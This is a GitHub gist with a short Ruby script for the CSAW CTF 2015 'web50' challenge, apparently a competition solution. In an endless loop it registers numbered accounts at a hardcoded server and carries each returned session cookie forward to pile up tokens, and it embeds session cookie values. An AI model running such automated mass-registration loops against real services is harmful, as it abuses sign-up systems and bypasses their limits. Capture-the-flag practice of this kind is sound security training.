Skip to content

Instantly share code, notes, and snippets.

@oppai
Created September 22, 2015 16:22
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save oppai/f34139e2c4d25f1d5933 to your computer and use it in GitHub Desktop.
Save oppai/f34139e2c4d25f1d5933 to your computer and use it in GitHub Desktop.
csawctf2015 web50
require 'net/http'
require 'uri'
http = Net::HTTP.new('54.209.88.227', 80)
# oppai2-1000
cookie = "session=eyJpZCI6OTQ4MTIsInRva2VucyI6MzE1Nn0.COCK7w.njxoA3POhr3wd4hIpYWpclygzUs; HttpOnly; Path=/"
# cleared: eyJpZCI6OTQ4MTIsInRva2VucyI6MzE1Nn0.COCLJw.s4HgvN6NHWsW1S6ORGnr9G5JGA8
suffix = 1
loop do
user = "oppai2-#{suffix}"
res = http.post(
'/register',
"user=#{user}&pass=oppai&login=register",
{ 'Cookie' => cookie }
)
cookie = res.get_fields('set-cookie')[0]
p user
p cookie
p res.inspect
suffix = suffix.succ
end
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment